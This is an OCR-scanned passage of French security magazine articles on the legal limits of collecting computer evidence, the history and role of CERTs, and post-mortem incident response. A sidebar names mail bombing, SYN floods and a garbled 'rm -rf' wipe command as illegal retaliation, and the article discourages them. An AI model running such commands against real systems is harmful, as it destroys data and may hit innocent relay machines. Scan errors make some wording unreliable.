1ecessaire : vous pouvez prendre contact et serez conseillé sur
a meilleure démarche a engager en fonction de la situation décrite.
Mais pour Iégalement et rapidement chercher & comprendre le
léroulement des faits ou encore pour constituer des éléments de
reuves, le dépot de plainte devient nécessaire

Juant au cadre réglementaire, légitimement on pense a I’ Art.
23-1 et alineas suivants qui pénalisent I'intrusion sur un systéme
information. Mais comme nous I'avons évoqué dans
'introduction, votre responsabilité pourrait étre recherchée, entre
utres, au titre des articles 226-15, 226-16 et suivants
www.legifrance.gouv.fr pour tous les articles du code pénal ou
wvil) relatifs 4 I'atteinte au secret des correspondances et aux
bertes individuelles.

\nsi, I'Art.226-15 limite les actes de surveillance qui pourraient
tre engages pour garantir la sécurité du réseau informatique : le
ait, commis de mauvaise foi, d’ouvrir, de supprimer, de retarder
u de détourner des correspondances arrivées ou non a destination
t adressées a des tiers, ou d'en prendre frauduleusement
onnaissance, est puni d'un an d’emprisonnement et de 45 000
uros d’amende. Est puni des mémes peines /e fait, commis de
rauvaise foi, d intercepter, de détourner, d utiliser ou de divulguer
es correspondances émises, transmises ou reques par la voie
es telécommunications ou de procéder a linstallation d appareils
ongus pour réaliser de telles interceptions. Les scénarii suivants
rviront d’exemples pour ce qu’on peut et ce qu’on ne peut pas
ire (cf les jurisprudences au pénal et au prud homme).

REUVES ET RECUEIL DE PREUVES

lais tout d’abord. rappelons quelques grands principes de
iminalistique (ensemble des techniques scientifiques utilisées
ans une investigation ; & ne pas confondre avec la eriminologie
ui s’intéresse au comportement du criminel) qui serviront de
nde dans cette recherche de la compréhension des faits et de
identité des acteurs.

B [ "investigation de police repose sur trois grandes sources
d’'information : les aveux, les témoignages (ou les dénonciations)
et les analyses scientifiques. Ces derniéres servent le plus souvent
a orienter ou réorienter une enquéte en cours. Elles peuvent
aussi convaincre une personne a passer aux aveux. On voit done

que le facteur humain est prépondérant, tout comme pour le
déploiement d’une politique de sécurité.

M Au pénal, une preuve répond a des critéres bien
spécifiques quant a sa matérialisation et sa conservation.
Toutefois, dans notre droit, I’accumulation d’indices, encore
appelee faisceau d’indices, peut avoir valeur probante. Enfin,
I"intime conviction du magistrat, au regard de tous les éléments
collectés, peut finalement suffire. Conséquemment, I'objectif
est donc de collecter le maximum d’éléments dont la cohérence
mettra en évidence une situation ou un acte.

B La recherche et I’analyse de ces indices s appuient sur le
principe de Locard (un des fondateurs de la criminalistique,
au 19eme siecle) qui veut que deux objets en contact échangent
une « signature » ou, plus simplement, laissent réciproquement
des traces. Dans le monde informatique, on peut considérer
deux environnements : les données écrites et les donndes en
transport. Dans le premier cas, une donnée reste accessible
sur un support, sauf a étre spécifiquement écrasée par une
autre donnee (la seule commande d’effacement signale au
systeme d’exploitation la disponibilité de son emplacement).
Méme sur une mémoire volatile, les données peuvent rester
accessibles tant que I"équipement reste sous tension. Dans le
second cas, la donnée peut temporairement étre stockée sur
un support de transit et de plus, les journaux de connexions
pourront aider a reconstituer son cheminement. Le travail
d’expertise consistera donc 4 rechercher, puis analyser ces
données résiduelles. Techniquement, les choses sont plus
nuancees : mode opératoire de collecte, de scellement, de
conservation... mais il s"agit la d’une introduction au recueil
des indices et non un article sur I'analyse des supports.

H Le travail de technicien de scéne de crime (TSC. terme
de la Police) consiste donc a geler la scéne pour en référencer
les éléments constitutifs, historiser les événements, déterminer
une relation fait-object-acteur. Dans le cas présent, ¢’est 'analyse
d’environnement (quels acteurs sur quels lieux ?7), la mise sous
scellés, I"analyse des ¢léments recueillis pour, in fine, déterminer
la relation entre, par exemple, une destruction de données, un
maode opératoire et une personne devant un clavier !

Heureusement, le monde Internet, un sysiéme d’information,
n’ont donc rien de virtuel. Tout comme dans le monde réel, il
s’agit d’un monde de traces dont les limites d’exploitation sont
a la fois légales (notamment par les atteintes aux libertés
individuelles) et financiéres (par le coiit de certaines expertises
ou les moyens de conservation des historiques d’activité).

Nous avons sélectionné trois scénarii qui relatent des actions
probables lors d’une investigation, mais d*autres situations plus
specifiques pourraient s’inspirer des constations faites, comme
par exemple une activité malveillante de sabotage en interne, un
detournement d’actifs financiers, le stockage de données
penalement répréhensible (e.g. Art. 227-23 sur la protection des
mineurs : le fait, en vue de sa diffusion, de fixer; d'enregistrer ou
de transmetire 'image ou la représentation d 'un mineur lorsque
celle image ou cette représentation présente un caraclere
pornographique, le fait de diffuser une telle image ou une
représentation, par quelque moyen que ce soit, de | 'importer ou
de l'exporter, de la faire importer ou de la faive exporter), etc.
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3 SCENARII pour illustrer notre propos
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INTRUSION SUR UN RESEAU

Comme pour les situations suivantes, le travail
de préservation des éléments peut commencer
avant |’arrivée des services judiciaires, notamment
pour éviter des dommages supplémentaires. Mais
attention, bloquer une attaque, fermer un acces,
interdire une ressource, ¢’est peut-étre se priver d’indices
supplémentaires. Ainsi, il faut s’assurer de la bonne activation
des logs et de leur conservation (sauvegarde) sur des supports
externes. S’il n’existe pas de tels journaux, il faudrait,
idéalement, pouvoir basculer |’exploitation sur une machine de
secours afin que la piéce en question puisse étre conservee
intégre pour expertise. Mentionnons que les services judiciaires,
au niveau international. ont mis en place plusieurs modes
opératoires pour effectuer la copie conforme des supports. Pour
cela, des réplications de disque avec scellement d’integrite ou
encore des copies sur supports non ré-inscriptibles vont permettre
la disponibilité de 1'équipement d’exploitation dans un délai
assez court. Cette rapidité ne sera effective que si la saisine est
faite au plus tot.

7

Pour que les journaux d’activité soient recevables, il faut que
leur contenu et leur existence soient Iégales. Tout systeme de
traitement automatis¢ de données doit faire I’objet d’une
déclaration soit spécifique, soit dans le cadre d'un régime global
de déclaration (cf www.cnil.fr) quand il permet un traitement
nominatif. On pense donc aux PABX, aux journaux de
connexions et/ou d’activité, aux tentatives de violations des
droits aux ressources, etc. Méme le journal de séeurité d’un IDS
ou d’un firewall doit faire I’objet d’une attention si les adresses
IP permettent de remonter jusqu’a I"individu.

Dans la recherche de la trace. on identifie rapidement le derier
« rebond » avant intrusion. A ce niveau, on peut solliciter la
bienveillante collaboration de I’administrateur distant mais toute
mesure de refro-hacking qui consisterait a pirater le site de rebond
pour identifier I'origine de I’attaque, vous mettrait alors dans
I'illégalité au titre méme de 1'article 323 cité. Les concepts de
vigilantism (auto-détense) et hot pursuit (droit de poursuite),
chers aux Anglo-saxons, entrent immédiatement en conflit avec
les réglementations nationales et la fin ne justific pas les moyens!

Nous avions déja évoqué une considération de territorialité lors
de la saisine, mais pour laquelle la solution est aisée de par la
communication gui existe entre les services. Mais deux autres
problématiques viennent se greffer, celle du licu de
commissionnement du délit et celle du lieu d'implantation de
la ressource investiguée (serveur Web, service de messagerie,
etc.). On pourrait ainsi avoir une entreprise frangaise victime
d’une intrusion supposée d’outre-Atlantique et dont les
ressources compromises sont dans un autre pays européen. Si
le dépot de plainte est aisé 4 imaginer, 1'analyse des supports
et la recherche de 1'auteur, indépendamment des possibilités
techniques, devra prendre en compte la territorialite et les
différents régimes juridiques.

Enfin, mentionnons que la création d’adresses pieges dans les
bases de données est trés souvent utile pour identifier un
exploitant illégitime et de 1a, remonter jusqu’aux acteurs d 'une
divulgation frauduleuse.

INTRUSION SUR UN RESEAU : HONEYPOT OU PRISE DE CONTACT

Honeypot, littéralement « pot de miel » mais
le lecteur de MISC en connait la signification
informatique :-)

2

Le honeypot a déja son utilité en securité des
systémes d’information pour analyser les modes opératoires
d’intrusion et la volumétrie de telles activiteés. De par son
caractere attractif intrinséque, il peut contribuer a prouver le
caractére répétitif d’une action malveillante ou de sa tentative,
Mais attention aux opportunités d’enregistrements pour ne pas
tomber sous le coup de la loi de 1991 sur les interceptions
techniques. Celles-ci ne sont autorisées que sur commission
rogatoire dans le cadre d’une instruction judiciaire ou dans le
cadre des interceptions de sécurité.

Une autre dérive dangereuse est celle de I'engagement d’un
dialogue avec un tiers lors de la suspicion d’un commerce illicite.

L’information recueillie peut s’averer confondante mais son
exploitation juridique dépendra du mode d’acquisition. Il est
hors de question de provoquer un comportement frauduleux ou
d’inciter a la commission de I'acte. A titre d’exemple. on ne
peut inciter ou demander des informations a la personne : il faut
que la proposition de vente pré-existe (e-mail diffuse. page Web
accessible, etc. ). La démarche reste dangercuse car 1l faudra
ensuite prouver votre intention pour ne pas, vous-meme, étre
en association de malfaiteurs ou dans un acte de commerce
répréhensible. En conclusion, il semble done preferable de ne
pas engager une relation privilégiée avec la personne suspectee
méme dans une simple réponse a I’offre. Mieux vaut en rester
au stade du soupgon sans chercher a matérialiser un fait par
I’'engagement d’une correspondance, ce qui nous amene & traiter
de la messagerie électronique.
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Recueil des preuves informatiques : attention aux conséquences !

CORRESPONDANCE ELECTRONIQUE

(est peut-étre la ressource la plus dangereuse
pour un administrateur réseau car il est aisé et
tentant de lire le message destiné a un tiers et
c’est ["atteinte au secret de la correspondance.
Méme s7il s’agit d'une boite aux lettres
professionnelle (i.e. avec un nom de domaine de I"entité), son
accés est limité a partir du moment ou elle est nominative. Pour
reformuler, une adresse info(@ ou service X(a, peut étre ouverte
par plusieurs personnes mais une adresse prenom.nom(@ doit
seulement étre accessible par son possesseur. Si ce dernier n’est
pas en activite (conges, maladie, départ, etc.), il faudrait une
procuration avant de pouvoir accéder aux messages. Précisons
que le fait d’avoir signé une charte (de sécurité, de bonne
conduite informatique) ou un avenant au contrat de travail ne
constitue en rien une autorisation d’interception.

La situation reste délicate, méme au niveau de la conservation
d’un courrier électronique. La sauvegarde des données est licite,

clle est méme recommandée (disponibilité des données dans
une démarche SSI), voire réglementaire (Art. 226-17 du CP sur
I"obligation de preservation de la disponibilité et de I'intégrité
des données nominatives). En revanche, la sauvegarde ou la
copie d’un message specifique, méme sans accéder a son contenu
sont répréhensibles. Bien évidemment, |'astuce qui consisterait
a gerer les paquets de données réseau avec un analyseur de
trames ne change rien quant aux contraintes de lecture et/ou
d’enregistrement des communications personnelles. Quant a la
responsabilité, elle serait interprétée en fonction de I'intention,
mais ¢’est la prendre un risque juridique.

Dernier point, si le message vous arrive par erreur. cas du
postmaster destinataire des avis d’envois non aboutis, vous
pouvez donc constater un probléme et conserver le message,
mais ¢’est avant tout I'opportunité d’en informer votre hiérarchie
et de solliciter le soutien des services spécialisés.

GARANTIE D'ASSURANCES

Quant 4 ["appel en garantie d’assurances., nous en avions déja
evoqué quelques ¢léments dans 1'article de MISC n®5 sur
I'assurance contre les virus informatiques. L'assureur a des
besoins plus simples : il lui faut des faits, des éléments qui lui
permettent de comprendre la situation, d’identifier le fait
genérateur et les conséquences économiques (frais de
reconstitution des informations, frais supplémentaires, pertes
d’exploitation, etc. ).

Si le fait génerateur n’est pas identifié, le remboursement sera
difficile puisque la cause est restée inconnue. C’est a 1" Assuré
d’apporter les preuves que 1’événement causal entre bien dans le
champ de la garantie, notamment dans les contrats a « périls
dénommés ». Pour cela, il peut utiliser un journal de connexions,
un journal d’activite (antivirus, IDS, pare-feu, routeur filtrant, etc.)
sous un format électronique ou une édition papier. Le scellement
d'integrité et I"horodatage ne sont pas nécessaires puisque la
relation assureur-assuré se fait dans la confiance et il ne viendrait
1 I'idée de personne d’essayer de frauder sa compagnie.

Dans tous les cas, les experts (d’assurances et d’assuré) sont la
pour arbitrer. Les conséquences économiques se quantifient 2 la
lecture des sommes engagées pour reprendre 1'activité et par une
sorte de lissage financier qui montre la perte de chiffre d’affaires
pendant la période de remise en état du systéme d’information.
Si le fait générateur est identifié, ¢’est éventuellement a 1" Assureur
de prouver qu’il n’entre pas dans le champ de la garantie ou bien
qu’il est défini dans les exclusions mentionnées, notamment
dans un contrat « tout sauf ». La démarche technique de recueil
et d’analyse est identique aux cas précédents.

En conclusion, méme dans un monde de traces, il faut agir
vite, sans attendre une confirmation, car certaines données
sont volatiles ou bien le volume a traiter peut rapidement
devenir gigantesque.

I1 est parfois délicat d’apprécier les actions techniques a
mener tout en restant dans le respect du droit et sans exposer
sa propre responsabilité. Le cadre 1égal d’emploi des outils
d’administration est extrémement restreint en comparaison
de leurs potentialités et la collaboration judiciaire devient
quasi incontournable.

L’emploi des moyens techniques est done compliqué. Il le
reste dans un cadre de procés an civil ou "acteur n’est plus
supposé¢ avoir une intention malveillante. On considére
que I’action (destruction, contamination. déni de service,
etc.) est accidentelle et I'appréciation de I'indemnisation
prendra également en compte la nature éventuellement
contractuelle des relations entre les deux personnes (morales
ou physiques). Toutefois, la matérialisation des faits est
assujettic aux mémes contraintes relatives a la protection
des individus et la réglementation des interceptions.

Pascal Lointier

pascal.lointier @ clusif.asso.fr
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Techniques d'attaque :
I*art du cyber-camouflage

Recueil des preuves informatques

Collecte des traces post-mortem

Qu'est-ce qu'un CERT®?

| IN‘T RUSIUN

Historique

Le 2 novembre 1988, Robert
Morris Jr. langait a I'assaut
d'Internet le premier ver de
I'histoire. Ce dernier se diffusa
comme une trainée de poudre,
infectant prés de 10% des serveurs
presents sur le réseau, soit a peu
prés 6.000 machines.

Bien que ce ver ait éte¢ dépourvu
de "charge", Morris oublia d'y
ajouter une fonctionnalité vitale :
la détection de sa propre présence.
Par conséquent, une fois sur une
machine, le ver non seulement se
multipliait sur les autres machines
a sa portée mais ¢galement sur son
héte, créant une boucle mortelle et
un cas d'école de dénis de service
par épuisement de ressources...
Robert Morris Jr. avait. sans
vraiment le vouloir, mis Internet a
ZCNOuX.

Faute de moyens de communication
et de synchronisation des "secours”,
il fallut prés d'une semaine avant
d'avoir la premiére analyse du ver
et la sortie de premiers correctifs
ou workaround. Ce manque
d'organisation a notablement réduit
les moyens de lutte et permis au ver
de prendre des proportions
phénoménales. La prise de
conscience, bien que tardive, fut
géndrale et une premiere instance
de surveillance et de réaction fut
créde.

Le CERT®/CC était né ; nous
sommes le 17 novembre 1988,

FIRST ET TF-CSIRT

Suite 4 cette attaque, de nombreuses CSIRT (Computer Security {ncident Response Team,
version "libre" du terme CETR®) firent leur apparition avec. pour seul point commun,
plus ou moins la mission de lutter contre les menaces informatiques. Cette rapide
multiplication d'organismes dont la compétence, le sérieux, voire I'éthique n'avaient jamais
été évalués risquait, & terme, de poser plus de problémes qu'elle n'en résolvait. L'absence
de communication, de formalisme et, plus grave, de confiance entre ces différentes CSIRT,
aurait pour inéluctable conséquence de générer, en cas d'attaque majeure, un desordre tel
qu'aucune mesure de secours ne pourrait étre efficacement mise en oeuvre dans un delais
"raisonnable". Cette crainte fut confirmée a l'issue de l'attaque d'un ver "hacktiviste" le
WANK (War Against Nuclear Kiflers), qui s'attaqua au réseau DECnet de la NASA en
octobre 1989 et auquel la réaction fut une nouvelle fois un fiasco.

C'est pourquoi, en 1990, fut créé le FIRST (Forum for Incident Response Security Team),
parmi les fondateurs duquel on retrouvera bien entendu le CERT®/CC. Son objectif est
de fournir les bases d'une organisation des communications entre Teams tant en termes
de prévention, que de réaction ou de recherche. Le mode de fonctionnement est decrit
dans l'operationnal framework |2], adopté en 1992 et amende de temps en temps.

De notre cot€ de l'océan, une premiére tentative de création d'un super-CERT a la CERT®/CC
émergea au début des années 90. Baptisé CERT-EU, il eut le mérite d'exister et d'organiser
les premiéres rencontres, officielles ou non, entre feams européennes. En 1996, la Trans-
European Research and Academic Network Association (TERENA) [3] proposa un projet
de pilote SIRCE (Security Incident Response Coordination for Eurape), qui fut mis en place
fin 1997 sous le nom de EuroCERT. En deux ans d'existence I'EuroCERT regroupa une
douzaine d'équipes et traita plus de 5400 incidents. Ce succes conduit logiquement a la
création, en mai 2000, de la TF-CSIRT (Task Force CSIRT), dont le mode de fonctionnement
est décrit dans le CSIRT Handbook [4].

- Le terme CERT® est une
F margue déposée par l'université
Carnegic de Mellon et est par
* conséquent soumis a4 quelques

ROLE D'UNE CSIRT conmte o i Enci

l'acronyme. En outre, concernant e
CERT®/CC, l'acronyme CERT ne doit pas

Comme le laisse sous-entendre le chapitre précédent,

i AN : étre explic lisera nséquent
n'importe quelle organisation peut se prétendre mﬂaﬁﬂé’ﬁ;{mf&rﬁﬂ CERT®
CSIRT, ce indépendamment de ses activités. En | Coordination Center. En revanche, &t comme
revanche, deux principaux services sont généralement | Bréeisé dans fa FAQ du CERTSCC |1, il

est recommandé de préciser que le
CERT®/CC est le premier "Computer
Security Incident Team" & avoir
été créé. Cette méme FAQ ne précise
cependant pas §°il est possible d'utiliser
Tacronyme CSIRT & cette fin...

fournis par les membres du FIRST et / ou de la TF-
CSIRT, sans que cela ne soit officiellement une
condition sine qua non : la prévention des incidents
et la réaction aux intrusions.




Les CERT® en France

Trois CERT® existent en France.

SERVICES DE PREVENTION

Ces services, définis dans le CSIRT Handbook
[4] comme des services de "Vulnerability
Handling", doivent permettre la détection,
l'analyse et la correction de nouvelles
vulnérabilités sur les matériels et logiciels
informatiques.

Détection des vulnérabilités

L'identification d'une nouvelle vulnérabilité
s'effectue de différentes maniéres. Dans
certains cas, les CSIRT disposent d'un
laboratoire a méme d'effectuer des recherches
specifiques et d'identifier des failles encore
inconnues. Dans d'autres cas, 1l s'agira
d'effectuer une veille technologique sur les
canaux de communication plus ou moins
officiels tels que les mailing lists ou sur IRC
afin d'identifier I'émergence de ces failles.
Enfin, la découverte d'une nouvelle faille est,
dans certains cas, le résultat d'une analyse
post-mortem. Dans ce dernier cas, les traces
laissées par un intrus permettent parfois
d'identifier par quel moyen ce dernier a pu

Le CERTA [8], le CERT-Renater
[9] et le CERT IST [10].

# Le CERTA a été créé début 1999
et est rattaché a la DCSSI (Direction
Centrale de la Sécurité des Systéme
d'Information). Son objectif est de
"de renforcer et de coordonner la
lutte contre les intrusions dans les
systemes  informatiques  des
administrations de I'Etat".

Par conséquent le CERTA ne
travaille que pour les organismes
gouvernementaux en France.

# Le CERT-Renater assure les
mémes missions, principalement
pour les membres du GIP Renater,
a savoir le CEA, le CNES, le CNRS,
I'INRIA et les Universités.

# Enfin, le CERT IST (Industrie,
Services et Tertiaire) a €te crée en
1999 en partenariat avec de grandes
entreprises  francaises telles
qu'Alcatel ou France Télécom. Le
CERT IST est aujourd'hui le seul
CERT proposant ses services aux
entreprises priveées en France.

Une fois l'information concernant la mise a
disposition du correctif diffusée, la CSIRT
a ¢également pour rdle de suivre le
déploiement de ce dernier. Cette mission a
une importance tactique aussi bien que
stratégique.

A l'échelle microscopique, l'objectif est
d'assister les "clients” de la CSIRT dans les
operations de sécurisation du systéme
d'information, et en particulier de s'assurer
de la bonne mise en place du correctif sur
les systemes vulnérables.

A l'échelle macroscopique, l'objectif est
d'évaluer l'impact qu'aurait une attaque de
grande envergure (comme un ver) s¢ fondant
sur la vulnérabilité en question.

Diffusion des vuinérabilités

Le principal probléme rencontré dans le
cadre des services de prévention est la
communication au sujet des vulnérabilités
analysées. Sur ce sujet, aucune régle n'est
établie. Ainsi, le CERT®R/CC applique une
politique de diffusion [5] définissant une

prendre la main sur le systeme.

période de 45 jours entre le rapport initial et

Analyse des vulnérabilités

[a phase d'analyse a pour but d'une part de confirmer ou d'infirmer
e résultat des observations quand la source de ces derniéres est
ugee comme non fiable (ou que les informations sont
ncompletes), et d'autre part de définir précisément les éléments
vulnérables, la nature de la vulnérabilité, et I''/mpact en termes
le sécurité sur le systéme concerné.

'etape de validation est particuliérement importante dans le cas
{'observations parcellaires ou d'informations provenant de canaux
{e communications jugés non fiables. Il est en effet indispensable
ie valider la pertinence d'une information avant d'inonder la
réquence d'advisories apocalyptiques. Cela évite a court terme
le provoguer une panique injustifiée, et & moyen terme de perdre
oute crédibilite,

Correction des failles

Jne CSIRT ayant fait la découverte d'une nouvelle faille se doit
le suivre I'évolution de sa correction, sinon de fournir elle-méme
es patches et / ou workaround appropriés. Cette phase est, dans
ertains cas, la plus délicate dans la mesure ou elle dépend non
seulement du type de faille, de la nature du composant impacté,
les compétences et ressources des équipes de la CSIRT mais
>galement du bon vouloir des proprictaires du systeme vulnérable.
Enfin, le correctif doit étre valide tant en termes de sécurité qu'en
ermes de stabilité. L'ideal etant d'étre a méme de fournir un
-apport synthétisant I'ensemble des informations concernant la
nise en place du correctif : mode opératoire, impact en termes
le sécurité et effets de bords.

la ditfusion publique d'un advisory,
indépendamment de I'existence d'un correctif. Dans certains cas
exceptionnels, ce délai peut étre réduit ou accru, en fonetion de
l'urgence ou de I''mpact de la découverte.

Une autre politique est ¢galement tres utilisée dans le cadre des
communications entre le découvreur de la vulnérabilité et
l'individu ou I'entit¢ responsable du produit en question. 11 s'agit
de la Full Disclosure Policy de Rain Forest Puppy [6] (RFPolicy).
Cette derniere impose un délai maximum de réponse entre les
mntervenants, garantissant ainsi que la vulnérabilité est bien prise
en compte par 'auteur et que sa correction suit Un processus
identifié. A l'inverse de la poliique du CERT®/CC, le délai de
publication des informations n'est pas fixé. Il dépend soit de la
durée de développement du correctif, soit de la non-réponse de
I'auteur, provoquant une publication anticipée de la faille sans
correctil officiel,

Enfin, de nombreuses variantes de ['une ou l'autre des politiques
sont appliquées par les différentes CSIRT. Ces variantes
concernent essentiellement les délais de réaction / publication
ou d'autres criteres liés au "savoir-vivre". En effet, il est souvent
recommandé de ne pas publier une vulnérabilité la veille d'un
week-end, voire durant le week-end, afin d'épargner aux
administrateurs consciencieux un dimanche en téte-a-téte avec
ses machines,

Cette prolifération de recommandations et usages a découragé
plus d'une tentative de normalisation des modes de
communication. La derniére en date, initiée par I'lETF début
2002, s'est soldée par un draff [7] qui n'a jamais dépassé sa version
mitiale...
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SERVICES DE REACTION

Les services de réaction s'organisent autour de deux axes
majeurs : l'analyse de l'incident et la remise en conditions
opérationnelles du systeme corrompu.

Analyse de lincident

La premiere fonction d'une CSIRT dans le cadre d'une réaction
aux intrusions est de déterminer si le systéme a réellement eté la
cible d'une intrusion. En effet, dans certains cas, un comportement
douteux ou des mterruptions de service récurrentes peuvent inciter
un administrateur, soupgonnant une intrusion a faire appel a une
CSIRT. Le prineipal travail est alors d'identifier la source des
problémes. en consultant dans un premier temps l'historique des
modifications apportées officiellement au systeme
(patches,nouvelles applications, etc.)... si un tel document est
disponible. En paralléle, I'analyse de {lux réseaux en provenance
et a destination du systéme peut apporter un complément
d'information non négligeable.

Enfin une analyse du systéme en lui-méme est effectuée. Cette
derniére opération est particuliérement délicate dans la mesure
ou elle ne doit pas modifier le systeme et risquer d'effacer des
preuves "volatiles" (mémoire, zone de swap, etc.). Les preuves
sont ainsi collectées avec un double but. D'une part, elles vont
permetire de caractériser précisément l'intrusion, ¢'est-a-dire en
définir la source, la cause, la portée (savoir si elle a été ciblée ou
s'il s'agit d'une attaque aveugle, de type ver), I'impact sur le
systéme et les conséquences (intrusion "simple”, rebond vers le
réseau interne, vers l'extérieur. etc.). D'autre part, elles pourront
servir pour des poursuites ultérieures.

Enfin, et ¢'est parfois la partie la plus difficile, la CSIRT doit
tracer l'intrusion, si possible jusqu'a son auteur. Cette étape est
rendue complexe par plusieurs facteurs technigues (translation
d'adresse, rebonds, spoofing, proxies, etc.) ainsi que par I'absence
de statut autorisant une CSIRT a obtenir des informations sur les
clients des opérateurs. Il est par conséquent souvent nécessaire
d'interrompre les investigations et de "transmettre” le dossier a
des autorités ayant le pouvoir d'obtenir de telles informations.

Réparation apres incident

Naturellement, la phase de retour en conditions opérationnelles
est enclenchée des la collecte de preuves terminée. Le role d'une
CSIRT est alors de définir la procédure de recouvrement. Cette
proceédure doit intégrer I'ensemble des informations concernant
les opérations a effectuer, leur durée et leur impact (et en
particulier l'indisponibilit¢ temporaire du systéme et les
éventuelles pertes de données). En outre, la procédure doit
indiquer quelles nouvelles mesures sont mises en oeuvre pour
prévenir le systéme d'une nouvelle intrusion, ainsi que les effets
de bords de ces mesures (modification ou suppression d'une
fonctionnalité, nouveaux mécanismes d'authentification, impact
sur les performances, etc.) . Techniquement. le réle de la CSIRT
prend fin apres validation du retour 4 la normale.

D'un point de vue organisationnel, une derniére mission consiste
a étre force de proposition pour la communication liée a I'incident.

MisC ¢

Communication interne aussi bien qu'externe si l'intrusion a €té
visible de I'extérieur, ou déja rendue publique. Cette ¢tape est
particulierement importante pour l'entreprise et I'experience de
ce type de situation de crise permet & une CSIRT d'assister les
services de communication. si ces derniers le souhaitent...

Bien que généralement reconnues comme
compétentes, les CSIRT voient souvent l'impact
de leurs travaux diminué par des contraintes plus
pragmatiques telles que les problématiques de
production, les restrictions budgétaires, voire
I'absence de certaines compeétences sur les sites
clients. En effet, combien d'advisories ont été
publiés sur des bogues exploités six mois plus
tard par des vers tels que Kaiten, Code Red et
autres Sapphire ? Les CSIRT ont pourtant fait
leur travail de prévention, en vain bien souvent...

Renaud Bidou

renaud.bidou@iv2-technologies.com
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Techniques d'atlague :
I'art du cyber-camouflage

Recueil des preuves informatiques | 2

Qu'est-ce qu'un CERTE? 3

Collecte
des traces post-mortem

Que faire a l'issue d'une intrusion ? Bien répondre a cette question est plus un
probléme d'organisation, de savoir-faire et d'expérience que de pure compétence
technique. Néanmoins, le manque de préparation, I'absence de procédures et bien
souvent la panique sont la cause de nombreuses erreurs et manipulations hasardeuses dont
les conséquences sont, au mieux, la perte de preuves précieuses, au pire la destruction du
systeme... si l'intrus a un sens de l'humour douteux. -

'L'objecﬁfde'eemﬁapaﬁ d'une part de présenter les aspects |
préparatom et org jon ___13 ﬁ*ane honne nnaiyse past- Dérives de I'analyse

Une dérive courante en cours d'analyse est la tentation de
vengeance envers I'individu qui a 0sé s'en prendre a un de vos
systemes. Certes, avoir la preuve d'une intrusion est quelque
chose d'assez pénible, et I'envie de laver I'humiliation dans un

h&hﬂ'ﬂﬁl&s Eﬁ termes de sﬁeuriﬁ;infamaﬁque fb‘udg_&t mail bombing ou un SYN Flood, voireuncd /; rm -rf *est
inexistant, absence de compétences, systémes en particulierement pressante. Il est cependant nécessaire de garder
production , efc.) nuisent au &épgu;emgm en conditions a l'esprit deux éléments cruciaux :

optimales d'une telle opération.  une telle vendetta est illégale, et il serait dommage qu'en

plus d'avoir pénétré vos systémes, l'intrus porte plainte et
vous fasse metire en prison ;

PROCEDURE DE REPONSE | W la source apparente est peut-étre un systéme utilisé comme

rebond. et dans ces conditions il n'est pas impossible que
AUX I N C I D E N TS vous soyez en train de scanner une machine sensible, voire
que vous interrompiez des operations critiques. Les
probabilités que vous finissiez comme au 1. sont done non
nulles.

OBJECTIFS

Afin de cadrer les opérations et d'éviter toute dérive (voir encart

1-contre), il est indispensable de se poser la question suivante : ORGANISATION GENERALE

‘quel est I'objectif de 'analyse”. Tout simplement, une analyse
yost-mortem doit : D'une maniére generale, l'organisation d'une réponse & un incident
suit 5 etapes distinctes :

B confirmer ou infirmer l'intrusion :

B identifier les causes et les conséquences de cette derniére ; 1. organisation preliminaire, prévue et mise en oeuvre avant
toute intrusion ;

B fournir les éléments de sécurisation a posteriori du systéme ; : = I il
2.détection et qualification d'un incident, en fonction de

B favoriser un retour en conditions opérationnelles ; 76 Al
metriques pré-établies ;

B accumuler les preuves en vue de poursuites judiciaires, N ) e ; :
P P J 3.dchinition d'une stratégie de réponse, tant d'un point de vue

technique que des communications internes / externes ;
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4.analyse du systéme et de son environnement, afin d'identifier
I'intrusion et ses conseéquences ;

5.sécurisation du systéme et retour en conditions
opérationnelles, si possible... et tout en identifiant les éventuels
effets de bords.

Une telle organisation est idéale, mais hélas hypothetique (voir
encart ci-haut). La premiére tiche de I'auditeur sera par conséquent
d'évaluer sa propre capacité a adapter la méthodologie au contexte,
et d'établir avant toute opération les limites de
son étude.

Organisation préliminaire

Cette étape est indispensable au bon déroulement d'un audit posi-
mortem. Comme nous le verrons, elle integre des composants
techniques (mise en place d'audit sur les systemes, géneration
d'empreintes des fichiers critiques, mécanisme de sauvegarde et
de restauration, etc.) aussi bien qu'organisationnels (definition
d'une charte d'utilisation du systéme d'information, création d'une
structure de réponse aux incidents, ete.).

Ces différents ¢léments sont les bases d'une réponse fiable, propre
et organisce.

Détection et qualification

Tout comportement anormal du systéme d'information n'est pas
nécessairement le fait d'une intrusion. Les différents bogues
présents dans les OS et applicatifs, le manque de résistance a la
charge, des paramétrages douteux ou des etreurs de manipulation
sont bien souvent a l'origine de fausses alertes.

[ est par conséquent nécessaire d'étre a méme de qualifier la
nature d'un dysfonctionnement ainsi que les différentes causes
possibles avant de lancer une procédure d'analyse exhaustive.

Définition d'une stratégie de reponse

L'ensemble des opérations d'analyse et de communication dépend
de la stratégie adoptée pour la réponse. Cette derniére établit les
priorités ainsi que les contraintes structurantes pour les opérations
d'analyse. En particulier, les problématiques de délai avant le
rétablissement, les moyens humains et financiers accordes a
l'opération, les choix concernant la communication et les
éventuelles poursuites sont autant de critéres cadrant les
possibilités d'interventions et impactant les résultats.

Analyse du systeme
et de son environnement

Cette étape est I'audit technique a proprement parler, qui outre
la collecte de preuves doit également fournir I'ensemble des
éléments permettant, a l'issue de I'audit. de sécuriser le systeme
et de le remettre en production. Il doit apparaitre 4 ce stade comme
évident que cette seule étape, menée sans préparation ni
coordination, ne peut mener qu'a un résultat incomplet (voire
errone) et inexploitable.

MisC @

Sécurisation
et retour en conditions opérationnelles

La finalité des opérations est la remise en production du systeme,
certes. Mais pas n'importe comment. [ est donc nécessaire non
seulement d'identifier les failles afin de sécuriser le systéme mais
également d'évaluer dans quelle mesure il est possible que certains
¢éléments aient pu échapper a 'analyse (souvent par manque de
temps), et par conséquent de définir une procedure de migration
sans impact pour la production vers un systeme propre.

ORGANISATION PRELIMINAIRE

DEFINITION D'UNE CHARTE D'UTILISATION

Ce texte, idéalement associé¢ au reglement intérieur de l'entreprise,
est avant tout un code de bonne conduite. 1l a pour objet de
préciser la responsabilité des utilisateurs en accord avec la
législation afin d'instaurer un usage correct des ressources
informatiques et des services Internet. Plus conerétement. il s'agit
de définir le champ de responsabilit¢ des utilisateurs, renvoyant
explicitement toute infraction aux dispositifs Iégaux existants.

Les principaux composants de la charte abordent par conséquent
les points suivants :

W ['accés aux ressources stipule que l'acces au SI est soumis
a autorisation et que cette derniére est incessible :

B la confidentialité précise que les donnees des utilisateurs sont
